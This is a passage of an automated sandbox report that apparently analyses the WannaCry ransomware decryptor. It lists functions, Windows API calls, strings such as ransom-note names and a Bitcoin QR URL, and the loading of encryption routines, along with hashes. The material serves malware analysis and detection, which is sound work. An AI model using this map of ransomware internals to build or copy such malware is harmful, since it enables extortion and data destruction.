                                                                                                                          • #535.MFC42(?), ref: 00407398
                                                                                                                            • Part of subcall function 00404210: #858.MFC42(?,?,00413788,000000FF), ref: 00404235
                                                                                                                            • Part of subcall function 00404210: #800.MFC42(?,?,00413788,000000FF), ref: 00404246
                                                                                                                          • SendMessageA.USER32(?,00000406,00000000,00000064), ref: 004073B8
                                                                                                                          • SendMessageA.USER32(?,00000406,00000000,00000064), ref: 004073CA
                                                                                                                          • #6140.MFC42(00000002,000000FF), ref: 004073D6
                                                                                                                          • #6140.MFC42(00000002,000000FF,00000002,000000FF), ref: 004073FF
                                                                                                                            • Part of subcall function 00405860: GetClientRect.USER32(?,?), ref: 0040587E
                                                                                                                            • Part of subcall function 00405860: #6197.MFC42(00000000,00000000,00000000,?,?,00000002), ref: 004058A5
                                                                                                                            • Part of subcall function 004058C0: GetClientRect.USER32(?,?), ref: 004058DE
                                                                                                                            • Part of subcall function 004058C0: #6197.MFC42(00000000,00000000,00000000,?,?,00000002), ref: 00405905
                                                                                                                            • Part of subcall function 00405180: _mbscmp.MSVCRT ref: 00405191
                                                                                                                            • Part of subcall function 00405180: #860.MFC42(?), ref: 004051A1
                                                                                                                            • Part of subcall function 00405180: RedrawWindow.USER32(?,00000000,00000000,00000121), ref: 004051DE
                                                                                                                            • Part of subcall function 00405180: InvalidateRect.USER32(?,00000000,00000001), ref: 004051F2
                                                                                                                          • GetTimeZoneInformation.KERNEL32(?,0000000B,00000001,0000000B,00000001,00000002,000000FF,00000002,000000FF), ref: 004074DA
                                                                                                                            • Part of subcall function 00401E60: VariantTimeToSystemTime.OLEAUT32(?), ref: 00401E7B
                                                                                                                          • SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 00407520
                                                                                                                          • #2818.MFC42(?,%d/%d/%d %02d:%02d:%02d,?,?,?,?,?,?), ref: 0040756E
                                                                                                                          • SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 004075AD
                                                                                                                          • #2818.MFC42(?,%d/%d/%d %02d:%02d:%02d,?,?,?,?,?,?), ref: 004075FB
                                                                                                                          • #6334.MFC42(00000000), ref: 00407607
                                                                                                                          • #800.MFC42 ref: 0040761B
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #1641CreateMessageSend$#3092$BrushSolid$Time$#2818$FontRectSystem$#535#537#6140#6197#800#860ClientLocalSpecific$#540#6334#858InformationInvalidateRedrawVariantWindowZone_mbscmptime
                                                                                                                          • String ID: %d/%d/%d %02d:%02d:%02d$00;00;00;00$Arial$http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s$https://en.wikipedia.org/wiki/Bitcoin$https://www.google.com/search?q=how+to+buy+bitcoin$mailto:%s
                                                                                                                          • API String ID: 28786460-3869059234
                                                                                                                          • Opcode ID: 566e78bac420e29277e274eb052adce88cec53491b2e7cfac5d24ca603e09d5b
                                                                                                                          • Instruction ID: 980e8df72422c457d288d06354c1d21c6ecb0c69e0d4732a7e3947204bb0ebed
                                                                                                                          • Opcode Fuzzy Hash: 566e78bac420e29277e274eb052adce88cec53491b2e7cfac5d24ca603e09d5b
                                                                                                                          • Instruction Fuzzy Hash: DB02D3B0344705ABD624EB61CC92FBF339AAFC4B04F00452DF2566B2D1DEB8B5058B99
                                                                                                                          Function 004026B0 Relevance: 54.6, APIs: 26, Strings: 5, Instructions: 318fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 0040C8F0: #823.MFC42(00000018,0040BB62,00000000,00000000), ref: 0040C8F2
                                                                                                                          • swprintf.MSVCRT ref: 00402728
                                                                                                                          • FindFirstFileW.KERNEL32(?,?,00000000), ref: 0040273E
                                                                                                                          • #825.MFC42(?,?,?,?), ref: 0040276F
                                                                                                                            • Part of subcall function 00402E00: #825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E44
                                                                                                                          • #825.MFC42(?), ref: 004027A5
                                                                                                                          • wcscmp.MSVCRT ref: 004027E1
                                                                                                                          • wcscmp.MSVCRT ref: 004027FB
                                                                                                                          • swprintf.MSVCRT(?,%s\%s,?,?), ref: 00402822
                                                                                                                          • GetFileAttributesW.KERNEL32(?), ref: 00402830
                                                                                                                          • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000,?,?), ref: 00402863
                                                                                                                          • wcslen.MSVCRT ref: 0040286E
                                                                                                                          • ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z.MSVCP60(?,00000000), ref: 0040287D
                                                                                                                          • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 00402957
                                                                                                                          • FindNextFileW.KERNEL32(?,?), ref: 0040296A
                                                                                                                          • FindClose.KERNEL32(?), ref: 0040297D
                                                                                                                            • Part of subcall function 00402E00: #825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E56
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #825$FileFindG@2@@std@@G@std@@U?$char_traits@V?$allocator@$Tidy@?$basic_string@swprintfwcscmp$#823?assign@?$basic_string@AttributesCloseFirstNextV12@wcslen
                                                                                                                          • String ID: %s\%s$%s\*$@Please_Read_Me@.txt$@WanaDecryptor@.bmp$@WanaDecryptor@.exe.lnk
                                                                                                                          • API String ID: 1037557366-268640142
                                                                                                                          • Opcode ID: 32ebf1ff4900e8d1210108902f6386b15b456ebd42ad9138ad297bcaaa466a3d
                                                                                                                          • Instruction ID: 208863b35b678a93ee2eb357de9df0ae1c195017ff787e099a5ee1d1e2129eec
                                                                                                                          • Opcode Fuzzy Hash: 32ebf1ff4900e8d1210108902f6386b15b456ebd42ad9138ad297bcaaa466a3d
                                                                                                                          • Instruction Fuzzy Hash: 48C163B16083419FC720DF64CD84AEBB7E8ABD8304F44492EF595A3291E778E944CF66
                                                                                                                          Function 004020A0 Relevance: 45.9, APIs: 25, Strings: 1, Instructions: 359filetimeCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00402127
                                                                                                                          • GetFileTime.KERNEL32(00000000,?,?,?), ref: 00402159
                                                                                                                          • ReadFile.KERNEL32(00000000,00000000,00000008,?,00000000), ref: 0040216E
                                                                                                                          • ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 004021A5
                                                                                                                          • ReadFile.KERNEL32(00000000,?,00000100,?,00000000), ref: 004021DC
                                                                                                                          • ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 004021FA
                                                                                                                          • ReadFile.KERNEL32(00000000,?,00000008,?,00000000), ref: 00402218
                                                                                                                          • CloseHandle.KERNEL32(00000000), ref: 00402234
                                                                                                                          • CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000000,00000000), ref: 0040224D
                                                                                                                          • SetFilePointer.KERNEL32(00000000,FFFF0000,00000000,00000002), ref: 00402274
                                                                                                                          • ReadFile.KERNEL32(00000000,?,00010000,?,00000000), ref: 00402289
                                                                                                                          • _local_unwind2.MSVCRT ref: 00402452
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: File$Read$Create$CloseHandlePointerTime_local_unwind2
                                                                                                                          • String ID: WANACRY!
                                                                                                                          • API String ID: 1586634678-1240840912
                                                                                                                          • Opcode ID: 63e6b81c02b622754e2b3234a9462f2b9f42a26c1b415cc7ac48913855c751cb
                                                                                                                          • Instruction ID: 3da7a8628a1c4a9b72cf23ccbc301ae3d1bdd94b5a24a93ab77a4db798f2c342
                                                                                                                          • Opcode Fuzzy Hash: 63e6b81c02b622754e2b3234a9462f2b9f42a26c1b415cc7ac48913855c751cb
                                                                                                                          • Instruction Fuzzy Hash: 91D14471A00214AFDB20DB64CC89FEBB7B8FB88710F14466AF619B61D0D7B49945CF68
                                                                                                                          Function 004035A0 Relevance: 36.2, APIs: 24, Instructions: 175windowclipboardmemoryCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004035DB
                                                                                                                          • OpenClipboard.USER32(?), ref: 004035E9
                                                                                                                          • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00403609
                                                                                                                          • #3301.MFC42(?,00000000,00000000), ref: 0040361A
                                                                                                                          • #924.MFC42 ref: 00403635
                                                                                                                          • #800.MFC42 ref: 00403646
                                                                                                                          • #800.MFC42 ref: 00403665
                                                                                                                          • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040367B
                                                                                                                          • GlobalAlloc.KERNEL32(00000002,-00000002), ref: 00403687
                                                                                                                          • GlobalLock.KERNEL32(00000000), ref: 0040369C
                                                                                                                          • GlobalFree.KERNEL32(00000000), ref: 004036AB
                                                                                                                          • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004036C8
                                                                                                                          • #3301.MFC42(?,00000000,00000000), ref: 004036E7
                                                                                                                          • #924.MFC42(00000000), ref: 00403702
                                                                                                                          • #800.MFC42(00000000), ref: 00403713
                                                                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000167,00000000), ref: 00403748
                                                                                                                          • wcslen.MSVCRT ref: 00403753
                                                                                                                          • wcslen.MSVCRT ref: 0040377B
                                                                                                                          • #800.MFC42 ref: 00403797
                                                                                                                          • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004037B1
                                                                                                                          • GlobalUnlock.KERNEL32(00000000), ref: 004037CE
                                                                                                                          • EmptyClipboard.USER32 ref: 004037D4
                                                                                                                          • SetClipboardData.USER32(0000000D,00000000), ref: 004037DD
                                                                                                                          • CloseClipboard.USER32 ref: 004037E3
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$#800ClipboardGlobal$#3301#924wcslen$AllocByteCharCloseDataEmptyFreeLockMultiOpenUnlockWide
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3405503685-0
                                                                                                                          • Opcode ID: 8830a6fbde82a0506a617069f42227a829ac694ec6c697a23238cf2d660267b9
                                                                                                                          • Instruction ID: c86228cefcec1f34603e32cf9825c4429cf2ad1f23db843e272d7cdac5f24a66
                                                                                                                          • Opcode Fuzzy Hash: 8830a6fbde82a0506a617069f42227a829ac694ec6c697a23238cf2d660267b9
                                                                                                                          • Instruction Fuzzy Hash: 0151E571204706ABD320DF64DC45FEBB7A8FB88754F10462DF249A72D0DB749909CBAA
                                                                                                                          Function 00403CB0 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 122filewindowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Find$FileMessageSend$#823CloseFirstNextfclosefopenfreadsprintfsscanf
                                                                                                                          • String ID: %08X.res$*.res$My Computer$\$\
                                                                                                                          • API String ID: 1476605332-298172004
                                                                                                                          • Opcode ID: 99fd15f447f3da050df03d5058de6a248e15196228ca27483cd35190e75cfc9e
                                                                                                                          • Instruction ID: 8c176cb2dc152f679f03352499a178afa0a04d74b0fbd326e0cc20a81f44b8b1
                                                                                                                          • Opcode Fuzzy Hash: 99fd15f447f3da050df03d5058de6a248e15196228ca27483cd35190e75cfc9e
                                                                                                                          • Instruction Fuzzy Hash: F741C671508300ABE710CB54DC45FEB7799EFC4715F404A2DF984A62C1E7B8EA498B9A
                                                                                                                          Function 00404B70 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 62libraryloaderCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • LoadLibraryA.KERNEL32(advapi32.dll,?,00402C46), ref: 00404B86
                                                                                                                          • GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 00404BA3
                                                                                                                          • GetProcAddress.KERNEL32(00000000,CryptImportKey), ref: 00404BB0
                                                                                                                          • GetProcAddress.KERNEL32(00000000,CryptDestroyKey), ref: 00404BBD
                                                                                                                          • GetProcAddress.KERNEL32(00000000,CryptEncrypt), ref: 00404BCA
                                                                                                                          • GetProcAddress.KERNEL32(00000000,CryptDecrypt), ref: 00404BD7
                                                                                                                          • GetProcAddress.KERNEL32(00000000,CryptGenKey), ref: 00404BE4
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: AddressProc$LibraryLoad
                                                                                                                          • String ID: CryptAcquireContextA$CryptDecrypt$CryptDestroyKey$CryptEncrypt$CryptGenKey$CryptImportKey$advapi32.dll
                                                                                                                          • API String ID: 2238633743-2459060434
                                                                                                                          • Opcode ID: 76a5095adcaff83da50827021ea7e3f960384e315c05d83dddbeb63d2a682abb
                                                                                                                          • Instruction ID: 00e3496518ad86b0ae3e163ac91477e164a9cb94f9785d2b2dfdbbcf4affa7e0
                                                                                                                          • Opcode Fuzzy Hash: 76a5095adcaff83da50827021ea7e3f960384e315c05d83dddbeb63d2a682abb
                                                                                                                          • Instruction Fuzzy Hash: 441182B074635196D738AB67FD14AA726D4EFE1B01B85053BE401D3AB0C7B888028A9C
                                                                                                                          Function 00407E80 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 67fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,?), ref: 00407EE6
                                                                                                                          • wcslen.MSVCRT ref: 00407EF4
                                                                                                                          • swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.bmp), ref: 00407F20
                                                                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,b.wnry,000000FF,?,00000103), ref: 00407F41
                                                                                                                          • CopyFileW.KERNEL32(?,?,00000000), ref: 00407F56
                                                                                                                          • SystemParametersInfoW.USER32(00000014,00000000,?,00000001), ref: 00407F67
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: ByteCharCopyFileFolderInfoMultiParametersPathSystemWideswprintfwcslen
                                                                                                                          • String ID: %s\%s$@WanaDecryptor@.bmp$b.wnry
                                                                                                                          • API String ID: 13424474-2236924158
                                                                                                                          • Opcode ID: 620144e10b90fbdcf7842e1a5c35e3d362372363debefcfb0e035a8d8bd61632
                                                                                                                          • Instruction ID: 08a18ced9c3675786ff634b79335ab73d5ba80fa93599351ce40df3d96d25247
                                                                                                                          • Opcode Fuzzy Hash: 620144e10b90fbdcf7842e1a5c35e3d362372363debefcfb0e035a8d8bd61632
                                                                                                                          • Instruction Fuzzy Hash: 7E21F075204304BAE36087A4CC05FE773AAAFD4700F508938B359961E1EAB16154875B
                                                                                                                          Function 004067F0 Relevance: 13.6, APIs: 9, Instructions: 71windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MetricsSystem$#2379#470#755ClientDrawIconIconicMessageRectSend
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1397574227-0
                                                                                                                          • Opcode ID: 20468fef4cef0cbb853e64829a62b01e3e2dab64e042f5102f0909ab1ddc92c1
                                                                                                                          • Instruction ID: db6533e43e067d2e1cb08ff7c7a85c8aaf9a8b82d3d45c58550572c7a5875683
                                                                                                                          • Opcode Fuzzy Hash: 20468fef4cef0cbb853e64829a62b01e3e2dab64e042f5102f0909ab1ddc92c1
                                                                                                                          • Instruction Fuzzy Hash: 45117F712146069FC214DF38DD49DEBB7E9FBC8304F488A2DF58AC3290DA74E8058B95
                                                                                                                          Function 0040B3C0 Relevance: 12.2, APIs: 8, Instructions: 203COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B3D9
                                                                                                                          • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B3E9
                                                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B4D8
                                                                                                                          • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B4E8
                                                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B5A5
                                                                                                                          • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B5B5
                                                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213AC), ref: 0040B60B
                                                                                                                          • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B61B
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: ??0exception@@ExceptionThrow
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 941485209-0
                                                                                                                          • Opcode ID: 1e9378705d9ba196d58f13d3cc7227803daa0403281f32e8405f41cd2aefe311
                                                                                                                          • Instruction ID: 0dbcc5357461fba905cfbac0272349747bc27b8ce320a87ccfe5983878451c5e
                                                                                                                          • Opcode Fuzzy Hash: 1e9378705d9ba196d58f13d3cc7227803daa0403281f32e8405f41cd2aefe311
                                                                                                                          • Instruction Fuzzy Hash: 7A61D5316043158BC705DE2998919ABB7E6FFC8704F04497EFC89BB345C738AA06CB99
                                                                                                                          Function 00407C30 Relevance: 12.0, APIs: 8, Instructions: 48clipboardmemoryCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • OpenClipboard.USER32(?), ref: 00407C38
                                                                                                                          • GlobalAlloc.KERNEL32(00000002,?), ref: 00407C4F
                                                                                                                          • CloseClipboard.USER32 ref: 00407C5B
                                                                                                                          • EmptyClipboard.USER32 ref: 00407C66
                                                                                                                          • GlobalLock.KERNEL32(00000000), ref: 00407C79
                                                                                                                          • GlobalUnlock.KERNEL32(00000000), ref: 00407C92
                                                                                                                          • SetClipboardData.USER32(00000001,00000000), ref: 00407C9B
                                                                                                                          • CloseClipboard.USER32 ref: 00407CA1
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Clipboard$Global$Close$AllocDataEmptyLockOpenUnlock
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 142981918-0
                                                                                                                          • Opcode ID: 93754508b4dfef54d9d98e8e63777799f1bb11e1cbd450fa109b80c0f9b4831a
                                                                                                                          • Instruction ID: 8252ba06fde5d142781bbccc432981ef86be9671d894a3679d09edf034c0945c
                                                                                                                          • Opcode Fuzzy Hash: 93754508b4dfef54d9d98e8e63777799f1bb11e1cbd450fa109b80c0f9b4831a
                                                                                                                          • Instruction Fuzzy Hash: 1D014B71740A05DFD714ABA5EC8DAFBB7A9FB88356B908079F54AC3350CF61AC048B64
                                                                                                                          Function 004047C0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 154encryptionstringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 004046B0: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,?,?,0040484E), ref: 004046CD
                                                                                                                            • Part of subcall function 004049B0: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004049F5
                                                                                                                            • Part of subcall function 004049B0: GetFileSize.KERNEL32(00000000,00000000), ref: 00404A0B
                                                                                                                            • Part of subcall function 004049B0: _local_unwind2.MSVCRT ref: 00404AC7
                                                                                                                          • CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,00000200), ref: 004048DB
                                                                                                                          • _local_unwind2.MSVCRT ref: 004048EB
                                                                                                                          • CryptDecrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?), ref: 00404920
                                                                                                                          • strncmp.MSVCRT ref: 00404951
                                                                                                                          • _local_unwind2.MSVCRT ref: 00404964
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
